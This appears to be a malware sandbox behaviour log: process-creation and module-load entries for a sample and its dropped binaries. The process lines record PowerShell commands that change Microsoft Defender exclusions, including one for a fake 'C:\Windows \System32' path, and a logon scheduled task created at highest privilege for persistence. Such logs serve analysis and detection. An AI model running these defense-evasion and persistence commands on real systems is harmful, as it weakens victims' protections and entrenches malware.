Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users\'"
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\ProgramData'"
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files'"
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Windows\TEMP\'"
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'colorcpl.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 14 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 16 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\ProgramData'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Windows\TEMP\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'colorcpl.exe'"

Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: libcurl.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: zlib1.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: libcurl.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: zlib1.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: libcurl.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: zlib1.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	Section loaded: printui.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libcurl.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libpq.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: zlib1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libssl-3-x64.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libcrypto-3-x64.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libintl-9.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libcrypto-3-x64.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libwinpthread-1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libiconv-2.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: libcurl.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: zlib1.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\bav64.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\bav64.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\bav64.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\bav64.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\bav64.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
